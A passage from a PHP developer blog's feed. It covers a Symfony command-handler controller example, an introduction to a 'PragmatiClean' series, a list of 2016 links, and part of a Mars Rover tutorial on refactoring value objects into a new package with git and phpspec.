  <p><em>Note 6</em>: We've decided for <code>ResetCounter</code> to return the new count.
  For an asynchronous application, it wouldn't return anything, neither would
  the Command Handler.</p>
</blockquote>

<p>Finally we can use the Command and Command Handler in our Controller:</p>

<pre><code class="php">&lt;?php
// File: src/Dharma/Swan/Controller/SubmitCodeController.php;

namespace Dharma\Swan\Controller;

use Dharma\Swan\SubmitCode;
use Dharma\Swan\SubmitCodeHandler;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;

class SubmitCodeController
{
    private $submitCodeHandler;

    public function __construct(SubmitCodeHandler $submitCodeHandler)
    {
        $this-&gt;submitCodeHandler = $submitCodeHandler;
    }

    /**
     * @throws \DomainException If the required "code" parameter is missing
     * @throws \DomainException If the "code" parameter is not a string
     * @throws \DomainException If the "code" parameter is not a valid code
     */
    public function submitCode(Request $request): Response
    {
        $newCount = $this-&gt;submitCodeHandler-&gt;handle(new SubmitCode(
            $request-&gt;request-&gt;get('code')
        ));

        return new Response(json_encode(['counter' =&gt; $newCount]), 200, [
            'Content-Type' =&gt; 'application/json',
        ]);
    }
}
</code></pre>

<blockquote>
  <p><em>Note 7</em>: Exceptions should be handled by event listeners, those should log
  important errors and create an appropriate response.</p>
  
  <p><em>Note 8</em>: Some controllers have more than one action meaning they'd be
  injected with more than one Command Handler, however only one will be called
  per Request. Since Symfony 3.3 <a href="https://symfony.com/blog/new-in-symfony-3-3-service-locators">Service Locators</a>
  can be injected so that the controller can only access the listed Command
  Handlers, and only one Command Handler will actually be instantiated.
  Before Symfony 3.3, the Container should be injected (same effect, but all
  services are accessible).</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>Command Bus allows us to decouple our application logic from the framework,
protecting us from Backward Compability Breaking changes.</p>

<p>However since the Bus can be replaced by Event Listeners, we can simply drop it
and inject the Command Handlers directly in Controllers. If our application
isn't asynchronous, then Command Handlers should be able to return values.</p>

<p>So our PragmatiClean Command Bus is simply a Command and Command Handler pair
for each Use Case in our application (so one pair per Controller action).</p>

<blockquote>
  <p>For more resources one the Command Bus design pattern, check these links:</p>
  
  <ul>
  <li><a href="http://shawnmc.cool/command-bus">CommandBus</a>
  by <a href="https://twitter.com/ShawnMcCool">Shawn McCool</a></li>
  <li><a href="https://www.reddit.com/r/PHP/comments/29a6qz/what_am_i_missing_with_this_whole_command_bus/">What am I missing with this whole command bus (reddit question)</a></li>
  <li><a href="http://php-and-symfony.matthiasnoback.nl/tags/SimpleBus/">A wave of command buses (series)</a>
  by <a href="https://twitter.com/matthiasnoback">Matthias Noback</a></li>
  <li><a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">Avoid the Mud (slides)</a>
  by <a href="https://twitter.com/mr_r_miller">Richard Miller</a></li>
  <li><a href="http://verraes.net/2015/01/messaging-flavours/">Messaging Flavours</a>
  and <a href="http://verraes.net/2015/02/form-command-model-validation/">Form, Command, Model validation</a>
  and also <a href="http://verraes.net/2014/05/functional-foundation-for-cqrs-event-sourcing/">Functional Foundation for CQRS/ES</a>
  by <a href="https://twitter.com/mathiasverraes">Mathias Verraes</a></li>
  <li><a href="http://tactician.thephpleague.com/">Tactician</a>, a simple Command Bus library for PHP</li>
  <li><a href="http://www.udidahan.com/2009/12/09/clarified-cqrs/">Clarified CQRS</a>
  by <a href="https://twitter.com/UdiDahan">Udi Dahan</a></li>
  </ul>
  
  <p>Also here are some usage examples, with code and everything:</p>
  
  <ul>
  <li><a href="https://gnugat.github.io/2016/06/15/mars-rover-introduction.html">Mars Rover</a>:
  an application coded chapter after chapter, using this design pattern</li>
  <li><a href="https://gnugat.github.io/2016/03/24/ultimate-symfony-api-example.html">The Ultimate Developer Guide to Symfony</a>
  Examples on how to create an API endpoint, a full stack web page and a console command
  with Symfony and this design pattern</li>
  </ul>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PragmatiClean - introduction]]></title>
            <link href="/2017/09/13/pragmaticlean-introdution.html"/>
            <updated>2017-09-13T00:00:00+01:00</updated>
            <id>/2017/09/13/pragmaticlean-introdution.html</id>
            <content type="html"><![CDATA[<p>There are only 10 types of debates in the software world,
<a href="https://www.amazon.co.uk/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882">Clean Code</a>
v <a href="https://www.amazon.co.uk/Pragmatic-Programmer-Andrew-Hunt/dp/020161622X">Pragmatic Code</a>
and those which don't matter.</p>

<p>In this new series we'll see how to stop wasting time arguing which one is best
and start using both instead.</p>

<h2 id="what%27s-clean-code%3F">What's Clean Code?</h2>

<p>Clean Code is about writing for the long term, usually by structuring it with
the help of Design Patterns and Principles.</p>

<p>The assumption is that everything will change given enough time, be it code or
people, and so things should be easy to understand and easy to change.</p>

<p>The opposite of Clean Code would be "taking shortcuts" to get the job done,
which causes maintenance to become harder and harder over time.</p>

<h2 id="what%27s-pragmatic-code%3F">What's Pragmatic Code?</h2>

<p>Pragmatic Code is about writing for the short term, usually by selecting the
most simple and quickest way to achieve a task.</p>

<p>The assumption is that things need to be done as quickly as possible, and the
simplest solution is always the best.</p>

<p>The opposite of Pragmatic Code would be "over engineering" for the sake of it,
which wastes time, makes the code harder to maintain and also makes it less
efficient.</p>

<h2 id="what%27s-pragmaticlean-code%3F">What's PragmatiClean Code?</h2>

<p>As we can see both school seem diametrically opposed, hence the heated debates.</p>

<p>But both seem to be making good points, so why not try to adopt both?</p>

<p>Pragmatic Programmers don't resent structured code or even Design Patterns and
Principles, what they find aberrant is the over use of them and their misuse.</p>

<p>Clean Coders don't dislike simple solutions and they don't like spending more
time on a task than necessary, what they find abnormal is code that has become
too hard to maintain because it grew more and more out of control over time.</p>

<p>So let's <a href="https://xkcd.com/927/">develop one universal school of thought that covers both</a>:
PragmatiClean. We'll do so by going over the following Design Patterns/Principles
and give them a twist:</p>

<ul>
<li>Command Bus, by dropping the bus</li>
<li>Adapter to decouple from third part libraries, but only the ones that matter</li>
<li>Test Driven Development, by not testing everything</li>
<li>Command/Query Responsibility Segregation, by making it synchronous</li>
<li>Event Sourcing, by skipping the sourcing</li>
</ul>

<p>And to make all this learning applicable, we'll show some Symfony code!</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Links from 2016]]></title>
            <link href="/2017/05/24/links-from-2016.html"/>
            <updated>2017-05-24T00:00:00+01:00</updated>
            <id>/2017/05/24/links-from-2016.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Links I tweeted during 2016</p>
</blockquote>

<p>Last year my interests seemed to have been split in three periods:</p>

<ol>
<li>beginning of the year: CQRS / ES and Mono Repo</li>
<li>middle of the year: Event Driven Architecture and async</li>
<li>end of the year: Artificial Intelligence</li>
</ol>

<p>I've also discovered two inspiring talks, I highly recommend you to watch them:</p>

<ul>
<li><a href="http://blog.testdouble.com/posts/2016-09-16-surgical-refactors-with-suture.html">Surgical Refactors</a>
by <a href="https://twitter.com/searls">Justin Searl</a>. It was a follow up of his also awesome previous talk:
<a href="http://blog.testdouble.com/posts/2016-05-09-make-ruby-great-again.html">Make Ruby Great Again</a></li>
<li><a href="https://the-composition.com/software-that-writes-and-evolves-software-953578a6fc36">Software That Writes And Evolves Software</a>
by <a href="https://medium.com/@jessitron">Jessica Kerr</a>, which was then followed by a couple of articles from <a href="https://the-composition.com/@springrod">Rod Johnson</a></li>
</ul>

<p>Apart from that, tons of links, as usual.</p>

<h2 id="cqrs-%2F-es-and-mono-repo">CQRS / ES and Mono Repo</h2>

<ul>
<li><a href="http://verraes.net/2013/12/fighting-bottlenecks-with-cqrs/">Fighting bottlenecks with CQRS</a></li>
<li><a href="http://blog.jonathanoliver.com/cqrs-sagas-with-event-sourcing-part-i-of-ii/">CQRS sagas with Event Sourcing</a></li>
<li><a href="http://blog.sapiensworks.com/post/2016/06/06/practical-event-sourcing-and-cqrs-benefits">Practical Event Sourcing and CQRS benefits</a></li>
<li><a href="http://verraes.net/2014/03/practical-event-sourcing/">Practical Event Sourcing</a></li>
<li><a href="http://gregoryszorc.com/blog/2014/09/09/on-monolithic-repositories/">On Monolithic Repositories</a></li>
<li><a href="https://qafoo.com/talks/15_10_symfony_live_berlin_monorepos.pdf">MonoRepos</a></li>
<li><a href="http://danluu.com/monorepo/">MonoRepo</a></li>
<li><a href="https://carlosbuenosvinos.com/working-at-the-same-time-in-a-project-and-its-dependencies-composer-and-path-type-repository/">Composer and MonoRepo</a></li>
<li><a href="http://www.drmaciver.com/2016/10/why-you-should-use-a-single-repository-for-all-your-companys-projects/">Reasons to use MonoRepos</a></li>
</ul>

<h2 id="generators-%2F-coroutines">Generators / Coroutines</h2>

<ul>
<li><a href="http://nikic.github.io/2012/12/22/Cooperative-multitasking-using-coroutines-in-PHP.html">Cooperative multitasking using coroutines in PHP</a></li>
<li><a href="https://markbakeruk.net/2016/01/19/a-functional-guide-to-cat-herding-with-php-generators/">PHP Generators by example</a></li>
<li><a href="https://blog.pascal-martin.fr/post/php-generators-week.html">PHP Generators week</a></li>
</ul>

<h2 id="event-driven-architecture">Event Driven Architecture</h2>

<p>Because <a href="https://twitter.com/giveupalready/status/731034388406894593">PHP 7 will no wait faster for your database/remote/filesystem calls</a>:</p>

<ul>
<li><a href="https://www.quora.com/What-are-the-differences-between-parallel-concurrent-and-asynchronous-programming">What are the differences between parallel, concurrent and async</a></li>
<li><a href="http://blog.mixu.net/2011/02/01/understanding-the-node-js-event-loop/">Understanding the NodeJs event loop</a></li>
<li><a href="http://stackoverflow.com/questions/14795145/how-the-single-threaded-non-blocking-io-model-works-in-node-js">How the single threaded non blocking I/O model work in NodeJs</a></li>
<li><a href="http://marcjschmidt.de/blog/2016/04/16/php-high-performance-reactphp-jarves-symfony-follow-up.html">PHP-PM follow up</a></li>
<li><a href="https://github.com/AndrewCarterUK/NoMoreLeaksBundle">NoMoreLeaksBundle</a></li>
<li><a href="https://speakerdeck.com/bitone/hunting-down-memory-leaks-with-php-meminfo">Hunting down memory leaks</a></li>
<li><a href="https://speakerdeck.com/clue/t3dd16-pushing-the-limits-with-react-php">Pushing the limits with ReactPHP</a></li>
<li><a href="https://www.reddit.com/r/PHP/comments/2uonkb/reactphp_eventdriven_programming_and_php_as_a/">ReactPHP, Event Driven programming and PHP</a></li>
</ul>

<h2 id="cache">Cache</h2>

<ul>
<li><a href="https://jakearchibald.com/2016/caching-best-practices/">Caching best practices</a></li>
<li><a href="https://www.nginx.com/blog/nginx-caching-guide/">nginx caching guide</a></li>
<li><a href="https://msol.io/blog/tech/youre-probably-wrong-about-caching/">you are probably wrong about caching</a></li>
<li><a href="https://tideways.io/profiler/blog/how-to-implementing-cache-tagging-with-apc-or-memcache-without-hurting-performance">how to implement cache tagging</a></li>
<li><a href="https://jakearchibald.com/2016/caching-best-practices/">caching best practices</a></li>
</ul>

<h2 id="performance">Performance</h2>

<ul>
<li><a href="https://blog.blackfire.io/php-7-performance-improvements-packed-arrays.html">PHP 7 perf improvements: packed arrays</a></li>
<li><a href="https://blog.blackfire.io/php-7-performance-improvements-ints-floats-free.html">PHP 7 perf improvements: ints and floats are free</a></li>
<li><a href="https://tideways.io/profiler/blog/php-session-garbage-collection-the-unknown-performance-bottleneck">PHP garbage collection as a perf bottleneck</a></li>
<li><a href="https://medium.com/@rtheunissen/efficient-data-structures-for-php-7-9dda7af674cd">Efficient data structures for PHP 7</a></li>
</ul>

<h2 id="symfony">Symfony</h2>

<ul>
<li><a href="https://www.pmg.com/blog/symfony-no-app-dev/">No app.dev</a></li>
<li><a href="https://github.com/symfony/symfony/pull/10356">Double Progress Bar</a></li>
<li><a href="https://blog.fervo.se/blog/2016/02/07/bundle-deps/">Bundle dependencies are not needed</a></li>
</ul>

<h2 id="artificial-intelligence">Artificial Intelligence</h2>

<ul>
<li>"Feel Good" videos to understand Neural Networks:

<ul>
<li><a href="https://brohrer.github.io/deep_learning_demystified.html">Deep Learning demystified</a></li>
<li><a href="https://brohrer.github.io/how_convolutional_neural_networks_work.html">How convolutional neural networks work</a></li>
</ul></li>
<li>Coding a Neural Network from scratch:

<ul>
<li><a href="http://iamtrask.github.io/2015/07/12/basic-python-network/">In 8 lines of Python</a>:</li>
<li><a href="http://iamtrask.github.io/2015/07/27/python-network-part2/">Improving with Gradient Descent</a></li>
<li><a href="https://iamtrask.github.io/2015/07/28/dropout/">Improving with dropout</a></li>
</ul></li>
<li>The Ultimate Developer Guide to Neural Networks:

<ul>
<li><a href="http://neuralnetworksanddeeplearning.com/chap1.html">Recognizing handwritten digits</a></li>
<li><a href="http://neuralnetworksanddeeplearning.com/chap2.html">How backpropagation works</a></li>
<li><a href="http://neuralnetworksanddeeplearning.com/chap3.html">Optimizing backpropagation</a></li>
<li><a href="http://neuralnetworksanddeeplearning.com/chap4.html">Visual proof Neural Networks can compute any functions</a></li>
<li><a href="http://neuralnetworksanddeeplearning.com/chap5.html">Limits of Backpropagation</a></li>
<li><a href="http://neuralnetworksanddeeplearning.com/chap6.html">Deep Neural Networks</a></li>
</ul></li>
<li>Gentle introduction to the maths:

<ul>
<li><a href="https://theclevermachine.wordpress.com/2014/09/11/a-gentle-introduction-to-artificial-neural-networks/">Neural Networks</a></li>
<li><a href="https://theclevermachine.wordpress.com/2014/09/08/derivation-derivatives-for-common-neural-network-activation-functions/">Derivatives of Activation functions</a></li>
<li><a href="https://theclevermachine.wordpress.com/2014/09/06/derivation-error-backpropagation-gradient-descent-for-neural-networks/">Derivative of Error function</a></li>
</ul></li>
<li>Another introduction to the maths

<ul>
<li><a href="http://andrew.gibiansky.com/blog/machine-learning/machine-learning-the-basics/">The basics</a></li>
<li><a href="http://andrew.gibiansky.com/blog/machine-learning/machine-learning-neural-networks/">Neural Networks</a></li>
<li><a href="http://andrew.gibiansky.com/blog/machine-learning/convolutional-neural-networks/">Convolutional Neural Networks</a></li>
<li><a href="http://andrew.gibiansky.com/blog/machine-learning/recurrent-neural-networks/">Recurrent Neural Networks</a></li>
</ul></li>
<li><a href="http://dlacombejr.github.io/2016/11/13/deep-learning-for-regex.html">Replacing regex with Neural Networks</a></li>
<li>bits of maths:

<ul>
<li><a href="http://www.wikihow.com/Take-Derivatives">How to take Derivatives</a></li>
<li><a href="http://matrixmultiplication.xyz/">Matrix Multiplication</a></li>
</ul></li>
</ul>

<h2 id="tests">Tests</h2>

<ul>
<li><a href="http://blog.cleancoder.com/uncle-bob/2016/06/10/MutationTesting.html">Mutation Testing</a></li>
<li><a href="http://blog.eleven-labs.com/en/mutation-testing-check-quality-unit-tests/">Mutation Testing: checking Unit Test quality</a></li>
<li><a href="https://github.com/padraic/humbug">Humbug: Mutation Testing for PHP</a></li>
<li><a href="http://blog.kevingomez.fr/2016/10/23/digging-into-humbug/">Digging into Humbug</a></li>
<li><a href="http://blog.cleancoder.com/uncle-bob/2016/03/19/GivingUpOnTDD.html">Giving up on TDD</a></li>
<li><a href="http://blog.cleancoder.com/uncle-bob/2016/11/10/TDD-Doesnt-work.html">TDD does not work</a></li>
<li><a href="https://8thlight.com/blog/georgina-mcfadyen/2016/06/27/inside-out-tdd-vs-outside-in.html">Inside out TDD VS outside in</a></li>
<li><a href="https://www.maaikebrinkhof.nl/2016/03/repetition-in-testing/">Repetition in testing</a></li>
<li><a href="https://codeahoy.com/2016/04/16/do-not-misuse-code-coverage/">Do not misuse ode coverage</a></li>
<li><a href="https://medium.com/javascript-scene/the-outrageous-cost-of-skipping-tdd-code-reviews-57887064c412">The outrageous cost of skipping TDD and code reviews</a></li>
<li><a href="https://github.com/ciaranmcnulty/driving-design-through-examples/issues/2">Do stubs/mock make tests more fragile?</a></li>
<li><a href="https://martinfowler.com/articles/mocksArentStubs.html">Mocks are not Stubs</a></li>
<li><a href="https://github.com/gnugat/knowledge/commit/9a3ca3b033bcadc2731a90ab309837dffba37ad5#diff-42f16124359ffa9639380e5df80b612fL29">PHPUnit and propecy</a></li>
<li><a href="https://twitter.com/matthieunapoli/status/768388058823725056">Using UTF 8 spaces in test method names</a></li>
</ul>

<h2 id="better-code">Better Code</h2>

<ul>
<li><a href="https://www.ibuildings.nl/blog/2016/01/programming-guidelines-part-1-reducing-complexity">Reducing Complexity</a></li>
<li><a href="https://www.ibuildings.nl/blog/2016/01/programming-guidelines-part-2-getting-rid-null">Getting rid of NULL</a></li>
<li><a href="https://www.ibuildings.nl/blog/2016/02/programming-guidelines-part-3-life-and-death-objects">Life and Death of objects</a></li>
<li><a href="https://www.ibuildings.nl/blog/2016/02/programming-guidelines-part-4-messages">Messages</a></li>
<li><a href="https://qafoo.com/blog/083_never_use_null.html">Never use NULL</a></li>
<li><a href="https://code.joejag.com/2016/anti-if-the-missing-patterns.html">Anti-if: the missing patterns</a></li>
<li><a href="http://hamishdickson.github.io/scala/functional/programming/2016/06/05/you-dont-need-null.html">You do not need NULL</a></li>
<li><a href="http://monospacedmonologues.com/post/138532840924/naming-things">Naming things</a></li>
<li><a href="http://journal.stuffwithstuff.com/2016/06/16/long-names-are-long/">Long names are long</a></li>
<li><a href="https://martinfowler.com/bliki/ValueObject.html">Value Object</a></li>
<li><a href="http://tech.wizaplace.com/posts/organisation-du-code-par-modules-fonctionnels">Organisation du code par modules fonctionnels</a></li>
<li><a href="http://wouterj.nl/2016/12/repositories-are-just-collections/">Repositories are just collections</a></li>
<li><a href="http://tpierrain.blogspot.co.uk/2016/04/hexagonal-layers.html">Hexagonal Layers</a></li>
<li><a href="http://blog.cleancoder.com/uncle-bob/2016/05/01/TypeWars.html">Type Wars</a></li>
<li><a href="https://philsturgeon.uk/api/2016/05/03/put-vs-patch-vs-json-patch/">put VS patch VS json patch</a></li>
<li><a href="http://blog.cleancoder.com/uncle-bob/2016/01/04/ALittleArchitecture.html">A little architecture</a></li>
</ul>

<h2 id="tools">Tools</h2>

<ul>
<li><a href="https://github.com/php-http/httplug">httplug</a></li>
<li><a href="https://github.com/nikic/PHP-Parser/releases/tag/v3.0.0alpha1">PHP Parser v3</a></li>
<li><a href="http://memio.github.io/spec-gen/">spec-gen</a></li>
<li><a href="https://github.com/hirak/prestissimo">Prestissimo</a></li>
<li><a href="http://gnugat.github.io/micro-framework-bundle/">MicroFrameworkBundle</a></li>
<li><a href="http://peteris.rocks/blog/htop/">htop</a></li>
<li><a href="https://jenssegers.com/61/perceptual-image-hashes">Perceptual image hash</a></li>
<li><a href="https://benramsey.com/blog/2016/04/ramsey-uuid/">Ramsey UUID</a></li>
<li><a href="https://memio.github.io/PHP-Printer/">PHP Printer</a></li>
<li><a href="http://psysh.org/">Psysh</a></li>
</ul>

<h2 id="lead-%26-life">Lead &amp; Life</h2>

<ul>
<li><a href="https://www.thoughtworks.com/insights/blog/5-tips-being-effective-tech-lead">5 tips for being an effective tech lead</a></li>
<li><a href="http://ryanbigg.com/2016/04/hiring-juniors">Hiring juniors</a></li>
<li><a href="https://medium.com/@kellan/towards-an-understanding-of-technical-debt-ae0f97cc0553">Towards an understanding of technical debt</a></li>
<li><a href="https://medium.com/@djsmith42/how-to-interview-as-a-developer-candidate-b666734f12dd">How to interview as a developer candidate</a></li>
<li><a href="https://dannorth.net/2016/07/04/how-to-train-your-agile/">How to train your agile</a></li>
<li><a href="https://medium.com/@marlenac/follow-the-leader-de9f79e90e6">Follow the leader</a></li>
<li><a href="https://speakerdeck.com/mcpaccard/guerir-le-burnout-cest-possible-mix-it-2016">Guérir le burnout est possible</a></li>
<li><a href="https://medium.freecodecamp.com/being-a-developer-after-40-3c5dd112210c">Being a developer after 40</a></li>
</ul>

<h2 id="misc">Misc</h2>

<ul>
<li><a href="https://medium.com/@sdboyer/so-you-want-to-write-a-package-manager-4ae9c17d9527">So you want to write a package manager</a></li>
<li><a href="https://daniel.haxx.se/blog/2016/02/18/http-redirects/">HTTP redirects</a></li>
<li><a href="http://vimcasts.org/blog/2013/02/habit-breaking-habit-making/">habit breaking making</a></li>
<li><a href="https://sheerun.net/2014/03/21/how-to-boost-your-vim-productivity/">how to boost your vim productivity</a></li>
<li><a href="https://twitter.com/jxxf/status/742799938501890048">Git v2.9 and improved diff</a></li>
<li><a href="https://github.com/doctrine/doctrine2/pull/5932#issuecomment-233593524">bad YAML are bad</a></li>
<li><a href="https://blog.2ndquadrant.com/thoughts-on-ubers-list-of-postgres-limitations/">Thoughts on Uber list of Postgres limitations</a></li>
<li><a href="https://github.com/gnugat/knowledge/blob/master/cheat-sheets/postgresql.md#jsonb">Postgres JSONB cheat sheet</a></li>
<li><a href="http://annotatiomania.com/">Annotation Mania</a></li>
<li><a href="https://developer.happyr.com/always-use-caret-instead-of-tilde">Always use caret instead of tilde</a></li>
<li><a href="https://githubengineering.com/the-github-graphql-api/">The Github GraphQL API</a></li>
<li><a href="https://fgiesen.wordpress.com/2016/08/07/why-do-cpus-have-multiple-cache-levels/">Why do CPUs have multiple cache levels</a></li>
<li><a href="https://www.sitepoint.com/how-can-the-elk-stack-be-used-to-monitor-php-apps/">How can the ELK stack be used to monitor PHP apps</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Mars Rover, Locating moving]]></title>
            <link href="/2016/10/12/mars-rover-locating-moving.html"/>
            <updated>2016-10-12T00:00:00+01:00</updated>
            <id>/2016/10/12/mars-rover-locating-moving.html</id>
            <content type="html"><![CDATA[<p>In this series we're building the software of a Mars Rover, according to
the <a href="/2016/06/15/mars-rover-introduction.html">following specifications</a>.
It allows us to practice the followings:</p>

<ul>
<li>Monolithic Repositories (MonoRepo)</li>
<li>Command / Query Responsibility Segregation (CQRS)</li>
<li>Event Sourcing (ES)</li>
<li>Test Driven Development (TDD)</li>
</ul>

<p>We've already developed the first use case about landing the rover on mars,
and the second one about driving it. We're now developing the last one,
requesting its location:</p>

<blockquote>
  <p>Mars rover will be requested to give its current location (<code>x</code> and <code>y</code>
  coordinates and the orientation).</p>
</blockquote>

<p>In this article we're going to move geolocation value objects (<code>Location</code>,
<code>Coordinates</code> and <code>Orientation</code>) into their new package (<code>geolocation</code>):</p>

<pre><code>git checkout 5-location
cd packages/geolocation
</code></pre>

<h2 id="geolocation">Geolocation</h2>

<p>Let's move our value objects to their new package:</p>

<pre><code>mkdir -p src/MarsRover/Geolocation spec/MarsRover/Geolocation
mv ../navigation/src/MarsRover/Navigation/{Coordinates,Location,Orientation}.php ./src/MarsRover/Geolocation/
mv ../navigation/spec/MarsRover/Navigation/{Coordinates,Location,Orientation}Spec.php ./spec/MarsRover/Geolocation/
</code></pre>

<p>We then need to fix the namespace:</p>

<pre><code>sed -i 's/Navigation/Geolocation/' */MarsRover/Geolocation/*.php
</code></pre>

<p>This should allow us to run successfully our tests for this package:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All Green!</p>

<h2 id="navigation">Navigation</h2>

<p>Now let's update the <code>navigation</code> package:</p>

<pre><code>cd ../navigation
</code></pre>

<p>In order to find where our <code>Location</code> class is used, we can use the following:</p>

<pre><code>grep -R Location src spec/
</code></pre>

<p>We need to fix the use statement in <code>spec/MarsRover/Navigation/LandRoverSpec.php</code>:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\Geolocation\Location;
use MarsRover\Geolocation\Orientation;
use PhpSpec\ObjectBehavior;

class LandRoverSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    function it_has_location()
    {
        $this-&gt;beConstructedWith(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $location = $this-&gt;getLocation();
        $location-&gt;shouldHaveType(Location::class);
        $coordinates = $location-&gt;getCoordinates();
        $coordinates-&gt;getX()-&gt;shouldBe(self::X);
        $coordinates-&gt;getY()-&gt;shouldBe(self::Y);
        $location-&gt;getOrientation()-&gt;get()-&gt;shouldBe(self::ORIENTATION);
    }
}
</code></pre>

<p>We can see that we also use <code>Orientation</code>, so we fix it here and we'lldo a search later.</p>

<p>Then we need to add use statements in <code>src/MarsRover/Navigation/LandRover.php</code>:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Navigation;

use MarsRover\Geolocation\{
    Coordinates,
    Location,
    Orientation
};

class LandRover
{
    private $location;

    public function __construct($x, $y, $orientation)
    {
        $this-&gt;location = new Location(
            new Coordinates($x, $y),
            new Orientation($orientation)
        );
    }

    public function getLocation() : Location
    {
        return $this-&gt;location;
    }
}
</code></pre>

<p>We also spot a use of <code>Coordinates</code>, so we fix it here now and we'll do a search later.</p>

<p>All done. Let's search for <code>Coordinates</code>:</p>

<pre><code>grep -R Coordinates src spec
</code></pre>

<p>There's nothing we haven't fixed yet, so let's search for <code>Orientation</code>:</p>

<pre><code>grep -R Orientation src spec
</code></pre>

<p>It looks like <code>spec/MarsRover/Navigation/LandRoverHandlerSpec.php</code> uses it, so let's fix it:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Navigation;

use MarsRover\EventSourcing\AnEventHappened;
use MarsRover\EventSourcing\Event;
use MarsRover\Navigation\Events;
use MarsRover\EventSourcing\EventStore;
use MarsRover\Navigation\LandRover;
use MarsRover\Geolocation\Orientation;
use PhpSpec\ObjectBehavior;

class LandRoverHandlerSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    const EVENT_NAME = Events::ROVER_LANDED;
    const EVENT_DATA = [
        'x' =&gt; self::X,
        'y' =&gt; self::Y,
        'orientation' =&gt; self::ORIENTATION,
    ];

    function it_lands_a_rover_at_given_location(
        AnEventHappened $anEventHappened,
        Event $roverLanded,
        EventStore $eventStore
    ) {
        $this-&gt;beConstructedwith($anEventHappened, $eventStore);
        $landRover = new LandRover(
            self::X,
            self::Y,
            self::ORIENTATION
        );

        $anEventHappened-&gt;justNow(
            self::EVENT_NAME,
            self::EVENT_DATA
        )-&gt;willReturn($roverLanded);
        $eventStore-&gt;log($roverLanded)-&gt;shouldBeCalled();

        $this-&gt;handle($landRover);
    }
}
</code></pre>

<p>That should be it for our <code>navigation</code> package. Let's run the tests:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All Green!</p>

<h2 id="location">Location</h2>

<p>Finally we can use our value objects in our <code>location</code> package:</p>

<pre><code>cd ../location
</code></pre>

<p>We can now use <code>Orientation</code> for our constant in <code>spec/MarsRover/Location/LocateRoverHandlerSpec.php</code>,
and also make sure both <code>FindLatestLocation</code> and <code>LocateRoverHandler</code> return a <code>Location</code>
value object:</p>

<pre><code class="php">&lt;?php

namespace spec\MarsRover\Location;

use MarsRover\Geolocation\Coordinates;
use MarsRover\Geolocation\Location;
use MarsRover\Geolocation\Orientation;
use MarsRover\Location\Service\FindLatestLocation;
use PhpSpec\ObjectBehavior;

class LocateRoverHandlerSpec extends ObjectBehavior
{
    const X = 23;
    const Y = 42;
    const ORIENTATION = Orientation::NORTH;

    const LOCATION = [
        'x' =&gt; self::X,
        'y' =&gt; self::Y,
        'orientation' =&gt; self::ORIENTATION,
    ];

    function it_finds_a_rover_latest_location(
        FindLatestLocation $findLatestLocation
    ) {
        $this-&gt;beConstructedWith($findLatestLocation);
        $location = new Location(
            new Coordinates(self::X, self::Y),
            new Orientation(self::ORIENTATION)
        );

        $findLatestLocation-&gt;find()-&gt;willReturn($location);

        $this-&gt;handle()-&gt;shouldBe($location);
    }
}
</code></pre>

<p>Let's update <code>src/MarsRover/Location/Service/FindLatestLocation.php</code> to add the return type:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Location\Service;

use MarsRover\Geolocation\Location;

interface FindLatestLocation
{
    public function find() : Location;
}
</code></pre>

<p>And finally let's update <code>src/MarsRover/Location/LocateRoverHandler.php</code>:</p>

<pre><code class="php">&lt;?php

namespace MarsRover\Location;

use MarsRover\Geolocation\Location;
use MarsRover\Location\Service\FindLatestLocation;

class LocateRoverHandler
{
    private $findLatestLocation;

    public function __construct(FindLatestLocation $findLatestLocation)
    {
        $this-&gt;findLatestLocation = $findLatestLocation;
    }

    public function handle() : Location
    {
        return $this-&gt;findLatestLocation-&gt;find();
    }
}
</code></pre>

<p>Now tests should pass:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>All green! Let's check all tests across our project:</p>

<pre><code>cd ../../
vendor/bin/phpspec run
</code></pre>

<p><a href="https://www.youtube.com/watch?v=rKHh3EIFcZw">Super green</a>!
We can now commit our work:</p>

<pre><code>git add -A
git commit -m 'Moved geolocation value objects in their package'
git checkout master
git merge --no-ff 5-location
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>And that's it! We now have a fully functional Mars Rover, that covers the
following use cases:</p>

<blockquote>
  <ol>
  <li>Mars Rovers need first to be landed at a given position. A position is
  composed of coordinates (<code>x</code> and <code>y</code>, which are both integers) and an
  orientation (a string being one of <code>north</code>, <code>east</code>, <code>west</code> or <code>south</code>).</li>
  <li>Once a rover has been landed on Mars it is possible to drive them, using
  instructions such as:
  
  <ul>
  <li><code>move_forward</code> (keeps orientation, but moves along the <code>x</code> or <code>y</code> axis)</li>
  <li><code>turn_left</code> / <code>turn_right</code> (keeps the same coordinates, but changes the
  orientation).</li>
  </ul></li>
  <li>Mars rover will be requested to give its current location (<code>x</code> and <code>y</code>
  coordinates and the orientation).</li>
  </ol>
</blockquote>

<p>In order to follow the CQRS principle, we've decided to separate our code in
two main packages:</p>

<ul>
<li><code>navigation</code>: write logic</li>
<li><code>location</code>: read logic</li>
</ul>

<p>With this we can imagine deploying <code>navigation</code> on a central, restricted in
access server, and deploy many <code>location</code> servers, all synchronized with the
data received in <code>navigation</code>.</p>

<p>Splitting our code into many packages would have been quite bothersome without
Mono Repo: all our packages are versioned in the same git repository and can be
linked together using Composer.</p>

<p>For each use case, we've structured our code as follow:</p>

<ol>
<li>create a "Command" object that represents user input and intentation</li>
<li>create a "Value Object" for each Command parameter, with simple input validation</li>
